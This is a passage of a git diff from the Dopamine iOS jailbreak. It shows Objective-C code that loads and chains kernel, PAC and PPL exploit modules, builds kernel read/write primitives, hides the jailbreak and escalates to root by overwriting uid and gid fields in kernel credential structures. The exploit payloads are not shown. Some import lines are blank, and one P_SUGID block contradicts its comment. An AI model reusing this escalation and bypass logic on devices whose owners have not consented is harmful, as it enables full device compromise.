(int)setFakelibMounted:(BOOL)mounted +{ + int r = 0; + if (mounted != [self isFakelibMounted]) { + const char *arg = mounted ? "mount" : "unmount"; + r = exec_cmd(JBROOT_PATH("/basebin/jbctl"), "internal", "fakelib", arg, NULL); + } + return r; +} + +- (int)setPrivatePrebootProtected:(BOOL)protected +{ + const char *arg = protected ? "activate" : "deactivate"; + return exec_cmd(JBROOT_PATH("/basebin/jbctl"), "internal", "protection", arg, NULL); +} + +- (BOOL)isJailbreakHidden +{ + return ![[NSFileManager defaultManager] fileExistsAtPath:@"/var/jb"]; +} + +- (void)setJailbreakHidden:(BOOL)hidden +{ + if (hidden && ![self isJailbroken] && geteuid() != 0) { + [self runTrollStoreAction:@"hide-jailbreak"]; + return; + } + + void (^actionBlock)(void) = ^{ + BOOL alreadyHidden = [self isJailbreakHidden]; + if (hidden != alreadyHidden) { + if (hidden) { + if ([self isJailbroken]) { + [self unregisterJailbreakApps]; + [self setPrivatePrebootProtected:NO]; + [self setFakelibMounted:NO]; + jbclient_platform_set_systemwide_domain_enabled(false); + } + [[NSFileManager defaultManager] removeItemAtPath:@"/var/jb" error:nil]; + } + else { + [[NSFileManager defaultManager] createSymbolicLinkAtPath:@"/var/jb" withDestinationPath:JBROOT_PATH(@"/") error:nil]; + if ([self isJailbroken]) { + jbclient_platform_set_systemwide_domain_enabled(true); + [self setFakelibMounted:YES]; + [self setPrivatePrebootProtected:YES]; + [self refreshJailbreakApps]; + } + } + } + }; + + if ([self isJailbroken]) { + [self runAsRoot:^{ + [self runUnsandboxed:actionBlock]; + }]; + } + else { + actionBlock(); + } +} + +- (NSString *)accessibleKernelPath +{ + if ([self isInstalledThroughTrollStore]) { + NSString *kernelcachePath = [[self activePrebootPath] stringByAppendingPathComponent:@"System/Library/Caches/com.apple.kernelcaches/kernelcache"]; + if ([[NSFileManager defaultManager] fileExistsAtPath:kernelcachePath]) { + return kernelcachePath; + } + return @"/System/Library/Caches/com.apple.kernelcaches/kernelcache"; + } + else { + NSString *kernelInApp = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"kernelcache"]; + if ([[NSFileManager defaultManager] fileExistsAtPath:kernelInApp]) { + return kernelInApp; + } + + [[DOUIManager sharedInstance] sendLog:@"Downloading Kernel" debug:NO]; + NSString *kernelcachePath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents/kernelcache"]; + if (![[NSFileManager defaultManager] fileExistsAtPath:kernelcachePath]) { + if (grab_kernelcache(kernelcachePath) == false) return nil; + } + return kernelcachePath; + } +} + +- (BOOL)isPACBypassRequired +{ + if (![self isArm64e]) return NO; + + if (@available(iOS 15.2, *)) { + return NO; + } + return YES; +} + +- (BOOL)isPPLBypassRequired +{ + return [self isArm64e]; +} + +- (BOOL)isSupported +{ + //cpu_subtype_t cpuFamily = 0; + //size_t cpuFamilySize = sizeof(cpuFamily); + //sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + //if (cpuFamily == CPUFAMILY_ARM_TYPHOON) return false; // A8X is unsupported for now (due to 4k page size) + + DOExploitManager *exploitManager = [DOExploitManager sharedManager]; + if ([exploitManager availableExploitsForType:EXPLOIT_TYPE_KERNEL].count) { + if (![self isPACBypassRequired] || [exploitManager availableExploitsForType:EXPLOIT_TYPE_PAC].count) { + if (![self isPPLBypassRequired] || [exploitManager availableExploitsForType:EXPLOIT_TYPE_PPL].count) { + return true; + } + } + } + + return false; +} + +- (BOOL)deviceSupportsFaceID +{ + if (![LAContext class]) return NO; + + LAContext *myContext = [[LAContext alloc] init]; + NSError *authError = nil; + if (![myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) { + NSLog(@"%@", [authError localizedDescription]); + return NO; + } + + return myContext.biometryType == LABiometryTypeFaceID; +} + +- (BOOL)deviceSupportsLandscapeBootLogo +{ + struct utsname u; + uname(&u); + const char *ipadString = "iPad"; + + bool isPad = strncmp(u.machine, ipadString, strlen(ipadString)) == 0; + return isPad && [self deviceSupportsFaceID]; +} + +- (NSError *)prepareBootstrap +{ + __block NSError *errOut; + dispatch_semaphore_t sema = dispatch_semaphore_create(0); + [_bootstrapper prepareBootstrapWithCompletion:^(NSError *error) { + errOut = error; + dispatch_semaphore_signal(sema); + }]; + dispatch_semaphore_wait(sema, DISPATCH_TIME_FOREVER); + return errOut; +} + +- (NSError *)finalizeBootstrap +{ + return [_bootstrapper finalizeBootstrap]; +} + +- (NSError *)deleteBootstrap +{ + if (![self isJailbroken] && getuid() != 0) { + int r = [self runTrollStoreAction:@"delete-bootstrap"]; + if (r != 0) { + // TODO: maybe handle error + } + return nil; + } + else if ([self isJailbroken]) { + __block NSError *error; + [self runAsRoot:^{ + [self runUnsandboxed:^{ + error = [self->_bootstrapper deleteBootstrap]; + }]; + }]; + return error; + } + else { + // Let's hope for the best + return [_bootstrapper deleteBootstrap]; + } +} + +- (NSError *)reinstallPackageManagers +{ + __block NSError *error; + [self runAsRoot:^{ + [self runUnsandboxed:^{ + error = [self->_bootstrapper installPackageManagers]; + }]; + }]; + return error; +} + +- (NSError *)updateBootLogo +{ + const char *bootLogoPath = JBROOT_PATH("/basebin/bootlogo.jp2"); + if ([[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"bootlogoEnabled" fallback:YES]) { + UIImage *bootLogoImage; + + if ([[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"customBootlogoEnabled" fallback:NO]) { + bootLogoImage = [UIImage imageWithContentsOfFile:[DOUIManager sharedInstance].bootlogoPath]; + } + + if (!bootLogoImage) { + bootLogoImage = [[DOUIManager sharedInstance] renderBootLogo]; + } + + [self runAsRoot:^{ + [self runUnsandboxed:^{ + unlink(bootLogoPath); + [[bootLogoImage jp2DataWithCompressionQuality:0.9] writeToFile:[NSString stringWithUTF8String:bootLogoPath] atomically:NO]; + }]; + }]; + + return nil; + } + else { + [self runAsRoot:^{ + [self runUnsandboxed:^{ + unlink(bootLogoPath); + }]; + }]; + return nil; + } +} + +@end diff --git a/Application/Dopamine/Jailbreak/Exploit.h b/Application/Dopamine/Jailbreak/DOExploit.h similarity index 54% rename from Application/Dopamine/Jailbreak/Exploit.h rename to Application/Dopamine/Jailbreak/DOExploit.h index 5b9f688b1f..3aa6fcfb8a 100644 --- a/Application/Dopamine/Jailbreak/Exploit.h +++ b/Application/Dopamine/Jailbreak/DOExploit.h @@ -10,26 +10,32 @@ NS_ASSUME_NONNULL_BEGIN typedef enum { - EXPLOIT_TYPE_KERNEL, + EXPLOIT_TYPE_KERNEL = 0, EXPLOIT_TYPE_PAC, EXPLOIT_TYPE_PPL, + EXPLOIT_TYPE_COUNT, } ExploitType; -@interface Exploit : NSObject +@interface DOExploit : NSObject { void *_handle; + NSDictionary *_flavorInfo; + BOOL _supportLoaded; + BOOL _supported; } @property (nonatomic) NSString *name; -@property (nonatomic) NSString *identfier; -@property (nonatomic) NSString *flavor; +@property (nonatomic) NSString *identifier; +@property (nonatomic) NSString *flavorName; @property (nonatomic) NSString *executablePath; @property (nonatomic) uint64_t priority; @property (nonatomic) ExploitType type; @property (nonatomic, readonly) NSString *displayName; -- (instancetype)initWithPath:(NSString *)exploitPath flavorName:(NSString *)flavorName flavorDictionary:(NSDictionary *)flavorDict; +- (instancetype)initWithPath:(NSString *)exploitPath info:(NSDictionary *)exploitInfo flavorName:(NSString *)flavorName flavorDictionary:(NSDictionary *)flavorInfo; + +- (BOOL)isSupported; - (int)load; - (int)run; diff --git a/Application/Dopamine/Jailbreak/DOExploit.m b/Application/Dopamine/Jailbreak/DOExploit.m new file mode 100644 index 0000000000..3b99e1668e --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOExploit.m @@ -0,0 +1,207 @@ +// +// Exploit.m +// Dopamine +// +// Created by Lars Fröder on 10.01.24. +// + +#import "DOExploit.h" +#import +#import +#import +#import +#import + +#import "DOExploitManager.h" +#import "DOEnvironmentManager.h" + +@implementation DOExploit + +- (instancetype)initWithPath:(NSString *)exploitPath info:(NSDictionary *)exploitInfo flavorName:(NSString *)flavorName flavorDictionary:(NSDictionary *)flavorInfo +{ + self = [super init]; + if (self) { + _flavorInfo = flavorInfo; + _flavorName = flavorName; + _executablePath = [exploitPath stringByAppendingPathComponent:exploitInfo[@"CFBundleExecutable"]]; + + NSString *typeString = exploitInfo[@"DPExploitType"]; + if ([typeString isEqualToString:@"Kernel"]) { + _type = EXPLOIT_TYPE_KERNEL; + } + else if ([typeString isEqualToString:@"PAC"]) { + _type = EXPLOIT_TYPE_PAC; + } + else if ([typeString isEqualToString:@"PPL"]) { + _type = EXPLOIT_TYPE_PPL; + } + else { + NSLog(@"Unknown Exploit Type: %@", typeString); + return nil; + } + + NSNumber *priorityNum = flavorInfo[@"DPFlavorPriority"]; + _priority = [priorityNum unsignedLongLongValue]; + + _name = exploitInfo[@"CFBundleDisplayName"]; + _identifier = exploitInfo[@"CFBundleIdentifier"]; + if (![flavorName isEqualToString:@"default"]) { + _name = [NSString stringWithFormat:@"%@, %@", _name, flavorName]; + _identifier = [NSString stringWithFormat:@"%@.%@", _identifier, flavorName]; + } + } + return self; +} + +- (NSString *)displayName +{ + if (self.flavorName) { + return [NSString stringWithFormat:@"%@ (%@)", self.name, self.flavorName]; + } + else { + return self.name; + } +} + +- (BOOL)isSupported +{ + if (!_supportLoaded) { + struct utsname systemInfo; + uname(&systemInfo); + NSString *thisDevice = [NSString stringWithUTF8String:systemInfo.machine]; + + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + + NSString *thisCPU; + switch (cpuFamily) { + case CPUFAMILY_ARM_TYPHOON: + thisCPU = @"A8"; + break; + case CPUFAMILY_ARM_TWISTER: + thisCPU = @"A9"; + break; + case CPUFAMILY_ARM_HURRICANE: + thisCPU = @"A10"; + break; + case CPUFAMILY_ARM_MONSOON_MISTRAL: + thisCPU = @"A11"; + break; + case CPUFAMILY_ARM_VORTEX_TEMPEST: + thisCPU = @"A12"; + break; + case CPUFAMILY_ARM_LIGHTNING_THUNDER: + thisCPU = @"A13"; + break; + case CPUFAMILY_ARM_FIRESTORM_ICESTORM: + thisCPU = @"A14"; // Also M1 + break; + case CPUFAMILY_ARM_BLIZZARD_AVALANCHE: + thisCPU = @"A15"; // Also M2 + break; + case CPUFAMILY_ARM_EVEREST_SAWTOOTH: + thisCPU = @"A16"; + break; + case CPUFAMILY_ARM_COLL: + thisCPU = @"A17"; + break; + } + + char OSVersionString[64]; + size_t OSVersionStringLen = sizeof(OSVersionString) - 1; + sysctlbyname("kern.osversion", OSVersionString, &OSVersionStringLen, NULL, 0); + NSString *thisIOSBuild = [NSString stringWithUTF8String:OSVersionString]; + + NSString *thisIOSVersion = [[UIDevice currentDevice] systemVersion]; + BOOL isArm64e = [[DOEnvironmentManager sharedManager] isArm64e]; + + NSArray *supportedRanges = _flavorInfo[@"DPSupportedRanges"]; + for (NSDictionary *supportedRange in supportedRanges) { + NSString *rangeStart = supportedRange[@"Start"]; + NSString *rangeEnd = supportedRange[@"End"]; + + NSComparisonResult startResult = [thisIOSVersion compare:rangeStart options:NSNumericSearch]; + NSComparisonResult endResult = [thisIOSVersion compare:rangeEnd options:NSNumericSearch]; + + _supported = ((endResult == NSOrderedAscending || endResult == NSOrderedSame) && (startResult == NSOrderedDescending || startResult == NSOrderedSame)); + if (_supported) break; + } + + NSArray *exclusionInclusionSets = _supported ? _flavorInfo[@"DPSupportExclude"] : _flavorInfo[@"DPSupportInclude"]; + if (exclusionInclusionSets) { + for (NSDictionary *set in exclusionInclusionSets) { + NSArray *devicesSet = set[@"Devices"]; + BOOL affectsThisDevice = NO; + if (devicesSet) { + for (NSString *device in devicesSet) { + if (([device isEqualToString:@"arm64e"] && isArm64e) || + ([device isEqualToString:@"arm64"] && !isArm64e) || + [device isEqualToString:thisDevice] || + [device isEqualToString:thisCPU]) { + affectsThisDevice = YES; + break; + } + } + } + else { + // No "Devices" means all + affectsThisDevice = YES; + } + if (!affectsThisDevice) continue; + + NSArray *builds = set[@"Builds"]; + if (builds) { + for (NSString *build in builds) { + if ([thisIOSBuild isEqualToString:build]) { + _supported = !_supported; + break; + } + } + } + else { + _supported = !_supported; + } + break; + } + } + _supportLoaded = YES; + } + return _supported; +} + +- (int)load +{ + if (!_handle) { + _handle = dlopen(_executablePath.fileSystemRepresentation, RTLD_NOW); + } + if (_handle) return 0; + return -1; +} + +- (int)run +{ + if (!_handle) return -1; + int (*exploit_init)(const char *flavor) = dlsym(_handle, "exploit_init"); + if (!exploit_init) return -1; + int r = exploit_init(_flavorName.UTF8String); + if (r == 0) [[DOExploitManager sharedManager].activeExploits addObject:self]; + return r; +} + +- (int)cleanup +{ + if (!_handle) return -1; + int (*exploit_deinit)(void) = dlsym(_handle, "exploit_deinit"); + if (!exploit_deinit) return -1; + int r = exploit_deinit(); + if (r == 0) [[DOExploitManager sharedManager].activeExploits removeObject:self]; + return r; +} + +- (NSString *)description +{ + return [NSString stringWithFormat:@"", self.identifier]; +} + +@end diff --git a/Application/Dopamine/Jailbreak/DOExploitManager.h b/Application/Dopamine/Jailbreak/DOExploitManager.h new file mode 100644 index 0000000000..7622d66d53 --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOExploitManager.h @@ -0,0 +1,37 @@ +// +// ExploitManager.h +// Dopamine +// +// Created by Lars Fröder on 09.01.24. +// + +#import +#import "DOExploit.h" + +NS_ASSUME_NONNULL_BEGIN + +@interface DOExploitManager : NSObject +{ + DOExploit *_preferredExploitForType[EXPLOIT_TYPE_COUNT]; +} + +@property (nonatomic) NSSet *allExploits; +@property (nonatomic) NSMutableArray *activeExploits; + +@property (nonatomic, readonly) DOExploit *preferredKernelExploit; +@property (nonatomic, readonly) DOExploit *preferredPACBypass; +@property (nonatomic, readonly) DOExploit *preferredPPLBypass; + +@property (nonatomic, readonly) DOExploit *selectedKernelExploit; +@property (nonatomic, readonly) DOExploit *selectedPACBypass; +@property (nonatomic, readonly) DOExploit *selectedPPLBypass; + + ++ (instancetype)sharedManager; + +- (NSSet *)availableExploitsForType:(ExploitType)type; +- (int)cleanUpExploits; + +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/DOExploitManager.m b/Application/Dopamine/Jailbreak/DOExploitManager.m new file mode 100644 index 0000000000..a63de7d34b --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOExploitManager.m @@ -0,0 +1,158 @@ +// +// ExploitManager.m +// Dopamine +// +// Created by Lars Fröder on 09.01.24. +// + +#import "DOExploitManager.h" +#import "DOExploit.h" +#import "DOEnvironmentManager.h" +#import "DOPreferenceManager.h" + +#define FORCE_PAC_BYPASS 0 + +@implementation DOExploitManager + ++ (instancetype)sharedManager +{ + static DOExploitManager *shared; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + shared = [[DOExploitManager alloc] init]; + }); + return shared; +} + +- (instancetype)init +{ + self = [super init]; + if (self) { + _activeExploits = [NSMutableArray new]; + [self _loadAvailableExploits]; + } + return self; +} + +- (DOExploit *)_findPreferredExploitForType:(ExploitType)type +{ + DOExploit *preferredExploit = nil; + for (DOExploit *exploit in [self availableExploitsForType:type]) { + if (!preferredExploit || exploit.priority > preferredExploit.priority) { + preferredExploit = exploit; + } + } + return preferredExploit; +} + +- (DOExploit *)_findExploitWithIdentifier:(NSString *)identifier andType:(ExploitType)type +{ + for (DOExploit *exploit in [self availableExploitsForType:type]) { + if ([exploit.identifier isEqualToString:identifier]) return exploit; + } + return nil; +} + +- (void)_loadAvailableExploits +{ + NSMutableSet *exploitSet = [NSMutableSet new]; + NSString *frameworksPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"Frameworks"]; + NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:frameworksPath error:nil]; + if (contents) { + for (NSString *frameworkName in contents) { + NSString *frameworkPath = [frameworksPath stringByAppendingPathComponent:frameworkName]; + NSDictionary *frameworkInfo = [NSDictionary dictionaryWithContentsOfFile:[frameworkPath stringByAppendingPathComponent:@"Info.plist"]]; + if (frameworkInfo) { + if (frameworkInfo[@"DPExploitType"]) { + NSDictionary *flavors = frameworkInfo[@"DPExploitFlavors"]; + [flavors enumerateKeysAndObjectsUsingBlock:^(NSString *flavorName, NSDictionary *flavorDict, BOOL *stop) { + [exploitSet addObject:[[DOExploit alloc] initWithPath:frameworkPath info:frameworkInfo flavorName:flavorName flavorDictionary:flavorDict]]; + }]; + } + } + } + } + _allExploits = [exploitSet copy]; + + for (ExploitType i = 0; i < EXPLOIT_TYPE_COUNT; i++) { + _preferredExploitForType[i] = [self _findPreferredExploitForType:i]; + } + +} + +- (NSSet *)availableExploitsForType:(ExploitType)type +{ + NSMutableSet *subset = [NSMutableSet new]; + for (DOExploit *exploit in _allExploits) { + if (exploit.type == type) { + if ([exploit isSupported]) { + [subset addObject:exploit]; + } + } + } + return subset; +} + +- (NSSet *)availableExploitIdentifiersForType:(ExploitType)type +{ + NSMutableSet *identifierSet = [NSMutableSet new]; + for (DOExploit *exploit in [self availableExploitsForType:type]) { + [identifierSet addObject:exploit.identifier]; + } + return identifierSet; +} + + +- (DOExploit *)preferredKernelExploit +{ + return _preferredExploitForType[EXPLOIT_TYPE_KERNEL]; +} + +- (DOExploit *)preferredPACBypass +{ + if (![DOEnvironmentManager sharedManager].isPACBypassRequired) return nil; + return _preferredExploitForType[EXPLOIT_TYPE_PAC]; +} + +- (DOExploit *)preferredPPLBypass +{ + return _preferredExploitForType[EXPLOIT_TYPE_PPL]; +} + +- (DOExploit *)selectedKernelExploit +{ + NSString *identifier = [[DOPreferenceManager sharedManager] preferenceValueForKey:@"selectedKernelExploit"]; + if (!identifier || ![[self availableExploitIdentifiersForType:EXPLOIT_TYPE_KERNEL] containsObject:identifier]) { + return [self preferredKernelExploit]; + } + return [self _findExploitWithIdentifier:identifier andType:EXPLOIT_TYPE_KERNEL]; +} + +- (DOExploit *)selectedPACBypass +{ + NSString *identifier = [[DOPreferenceManager sharedManager] preferenceValueForKey:@"selectedPACBypass"]; + if (!identifier || ![[self availableExploitIdentifiersForType:EXPLOIT_TYPE_PAC] containsObject:identifier]) { + return [self preferredPACBypass]; + } + return [self _findExploitWithIdentifier:identifier andType:EXPLOIT_TYPE_PAC]; +} + +- (DOExploit *)selectedPPLBypass +{ + NSString *identifier = [[DOPreferenceManager sharedManager] preferenceValueForKey:@"selectedPPLBypass"]; + if (!identifier || ![[self availableExploitIdentifiersForType:EXPLOIT_TYPE_PPL] containsObject:identifier]) { + return [self preferredPPLBypass]; + } + return [self _findExploitWithIdentifier:identifier andType:EXPLOIT_TYPE_PPL]; +} + +- (int)cleanUpExploits +{ + for (DOExploit *exploit in [_activeExploits reverseObjectEnumerator]) { + int r = [exploit cleanup]; + if (r != 0) return r; + } + return 0; +} + +@end diff --git a/Application/Dopamine/Jailbreak/Jailbreaker.h b/Application/Dopamine/Jailbreak/DOJailbreaker.h similarity index 64% rename from Application/Dopamine/Jailbreak/Jailbreaker.h rename to Application/Dopamine/Jailbreak/DOJailbreaker.h index 55aeeb8d73..e13da364d0 100644 --- a/Application/Dopamine/Jailbreak/Jailbreaker.h +++ b/Application/Dopamine/Jailbreak/DOJailbreaker.h @@ -11,12 +11,12 @@ NS_ASSUME_NONNULL_BEGIN -@interface Jailbreaker : NSObject +@interface DOJailbreaker : NSObject { xpc_object_t _systemInfoXdict; } -- (NSError *)run; +- (void)runWithError:(NSError **)errOut didRemoveJailbreak:(BOOL*)didRemove showLogs:(BOOL *)showLogs; - (void)finalize; @end diff --git a/Application/Dopamine/Jailbreak/DOJailbreaker.m b/Application/Dopamine/Jailbreak/DOJailbreaker.m new file mode 100644 index 0000000000..5fb7c523fa --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOJailbreaker.m @@ -0,0 +1,600 @@ +// +// Jailbreaker.m +// Dopamine +// +// Created by Lars Fröder on 10.01.24. +// + +#import "DOJailbreaker.h" +#import "DOEnvironmentManager.h" +#import "DOExploitManager.h" +#import "DOUIManager.h" +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import "spawn.h" +int posix_spawnattr_set_registered_ports_np(posix_spawnattr_t * __restrict attr, mach_port_t portarray[], uint32_t count); + +#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer") +void _CFPreferencesSetValueWithContainer(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +Boolean _CFPreferencesSynchronizeWithContainer(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +CFArrayRef _CFPreferencesCopyKeyListWithContainer(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +CFDictionaryRef _CFPreferencesCopyMultipleWithContainer(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); + +//char *_dirhelper(int a, char *dst, size_t size); + +NSString *const JBErrorDomain = @"JBErrorDomain"; +typedef NS_ENUM(NSInteger, JBErrorCode) { + JBErrorCodeFailedToFindKernel = -1, + JBErrorCodeFailedKernelPatchfinding = -2, + JBErrorCodeFailedLoadingExploit = -3, + JBErrorCodeFailedExploitation = -4, + JBErrorCodeFailedBuildingPhysRW = -5, + JBErrorCodeFailedCleanup = -6, + JBErrorCodeFailedGetRoot = -7, + JBErrorCodeFailedUnsandbox = -8, + JBErrorCodeFailedPlatformize = -9, + JBErrorCodeFailedBasebinTrustcache = -10, + JBErrorCodeFailedLaunchdInjection = -11, + JBErrorCodeFailedInitProtection = -12, + JBErrorCodeFailedInitFakeLib = -13, + JBErrorCodeFailedDuplicateApps = -14, +}; + +@implementation DOJailbreaker + +- (NSError *)gatherSystemInformation +{ + NSString *kernelPath = [[DOEnvironmentManager sharedManager] accessibleKernelPath]; + if (!kernelPath) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedToFindKernel userInfo:@{NSLocalizedDescriptionKey:@"Failed to find kernelcache. Ensure your device is properly connected to the internet. If it still does not work, try installing Dopamine via TrollStore instead."}]; + NSLog(@"Kernel at %s", kernelPath.UTF8String); + + [[DOUIManager sharedInstance] sendLog:DOLocalizedString(@"Patchfinding") debug:NO]; + + int r = xpf_start_with_kernel_path(kernelPath.fileSystemRepresentation); + if (r == 0) { + char *sets[] = { + "translation", + "trustcache", + "sandbox", + "physmap", + "struct", + "physrw", + "perfkrw", + NULL, + NULL, + NULL, + NULL, + }; + + uint32_t idx = 7; + if (xpf_set_is_supported("devmode")) { + sets[idx++] = "devmode"; + } + if (xpf_set_is_supported("badRecovery")) { + sets[idx++] = "badRecovery"; + } + if (xpf_set_is_supported("arm64kcall")) { + sets[idx++] = "arm64kcall"; + } + + _systemInfoXdict = xpf_construct_offset_dictionary((const char **)sets); + if (_systemInfoXdict) { + xpc_dictionary_set_uint64(_systemInfoXdict, "kernelConstant.staticBase", gXPF.kernelBase); + printf("System Info:\n"); + xpc_dictionary_apply(_systemInfoXdict, ^bool(const char *key, xpc_object_t value) { + if (xpc_get_type(value) == XPC_TYPE_UINT64) { + printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); + } + return true; + }); + } + if (!_systemInfoXdict) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedKernelPatchfinding userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"XPF failed with error: (%s)", xpf_get_error()]}]; + } + xpf_stop(); + } + else { + NSError *error = [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedKernelPatchfinding userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"XPF start failed with error: (%s)", xpf_get_error()]}]; + xpf_stop(); + return error; + } + + jbinfo_initialize_dynamic_offsets(_systemInfoXdict); + jbinfo_initialize_hardcoded_offsets(); + _systemInfoXdict = jbinfo_get_serialized(); + + if (_systemInfoXdict) { + printf("System Info libjailbreak:\n"); + xpc_dictionary_apply(_systemInfoXdict, ^bool(const char *key, xpc_object_t value) { + if (xpc_get_type(value) == XPC_TYPE_UINT64) { + if (xpc_uint64_get_value(value)) { + printf("0x%016llx <- %s\n", xpc_uint64_get_value(value), key); + } + } + return true; + }); + } + + return nil; +} + +- (NSError *)doExploitation +{ + DOExploit *kernelExploit = [DOExploitManager sharedManager].selectedKernelExploit; + DOExploit *pacBypass = [DOExploitManager sharedManager].selectedPACBypass; + DOExploit *pplBypass = [DOExploitManager sharedManager].selectedPPLBypass; + + if (!kernelExploit) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Kernel exploit is required but we did not find any"}]; + } + if (!pacBypass && [DOEnvironmentManager sharedManager].isPACBypassRequired) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"PAC bypass is required but we did not find any"}]; + } + if (!pplBypass && [DOEnvironmentManager sharedManager].isPPLBypassRequired) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"PPL bypass is required but we did not find any"}]; + } + + [[DOUIManager sharedInstance] sendLog:[NSString stringWithFormat:DOLocalizedString(@"Exploiting Kernel (%@)"), kernelExploit.name] debug:NO]; + if ([kernelExploit load] != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load kernel exploit: %s", dlerror()]}]; + if ([kernelExploit run] != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to exploit kernel"}]; + + jbinfo_initialize_boot_constants(); + libjailbreak_translation_init(); + libjailbreak_IOSurface_primitives_init(); + + if (pacBypass) { + [[DOUIManager sharedInstance] sendLog:[NSString stringWithFormat:DOLocalizedString(@"Bypassing PAC (%@)"), pacBypass.name] debug:NO]; + if ([pacBypass load] != 0) {[kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load PAC bypass: %s", dlerror()]}];}; + if ([pacBypass run] != 0) {[kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to bypass PAC"}];} + // At this point we presume the PAC bypass has given us stable kcall primitives + gSystemInfo.jailbreakInfo.usesPACBypass = true; + } + + if ([[DOEnvironmentManager sharedManager] isPPLBypassRequired]) { + [[DOUIManager sharedInstance] sendLog:[NSString stringWithFormat:DOLocalizedString(@"Bypassing PPL (%@)"), pplBypass.name] debug:NO]; + if ([pplBypass load] != 0) {[pacBypass cleanup]; [kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedLoadingExploit userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to load PPL bypass: %s", dlerror()]}];}; + if ([pplBypass run] != 0) {[pacBypass cleanup]; [kernelExploit cleanup]; return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedExploitation userInfo:@{NSLocalizedDescriptionKey:@"Failed to bypass PPL"}];} + // At this point we presume the PPL bypass gave us unrestricted phys write primitives + } + if (!gPrimitives.kalloc_global) { + // IOSurface kallocs don't work on iOS 16+, use leaked page tables as allocations instead + libjailbreak_kalloc_pt_init(); + } + + if (![DOEnvironmentManager sharedManager].isArm64e) { + arm64_kcall_init(); + } + + return nil; +} + +- (NSError *)buildPhysRWPrimitive +{ + int r = -1; + if (device_supports_physrw_pte()) { + r = libjailbreak_physrw_pte_init(false, 0); + } + else { + r = libjailbreak_physrw_init(false); + } + if (r != 0) { + return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedBuildingPhysRW userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to build phys r/w primitive: %d", r]}]; + } + return nil; +} + +- (NSError *)cleanUpExploits +{ + int r = [[DOExploitManager sharedManager] cleanUpExploits]; + if (r != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedCleanup userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to cleanup exploits: %d", r]}]; + return nil; +} + +- (NSError *)elevatePrivileges +{ + uint64_t proc = proc_self(); + uint64_t ucred = proc_ucred(proc); + + // Get uid 0 + kwrite32(proc + koffsetof(proc, svuid), 0); + kwrite32(ucred + koffsetof(ucred, svuid), 0); + kwrite32(ucred + koffsetof(ucred, ruid), 0); + kwrite32(ucred + koffsetof(ucred, uid), 0); + + // Get gid 0 + kwrite32(proc + koffsetof(proc, svgid), 0); + kwrite32(ucred + koffsetof(ucred, rgid), 0); + kwrite32(ucred + koffsetof(ucred, svgid), 0); + kwrite32(ucred + koffsetof(ucred, groups), 0); + + // Add P_SUGID + uint32_t flag = kread32(proc + koffsetof(proc, flag)); + if ((flag & P_SUGID) != 0) { + flag &= P_SUGID; + kwrite32(proc + koffsetof(proc, flag), flag); + } + + if (getuid() != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedGetRoot userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to get root, uid still %d", getuid()]}]; + if (getgid() != 0) return [NSError errorWithDomain:JBErrorDomain code:JBErrorCodeFailedGetRoot userInfo:@{NSLocalizedDescriptionKey:[NSString stringWithFormat:@"Failed to get root, gid still %d", 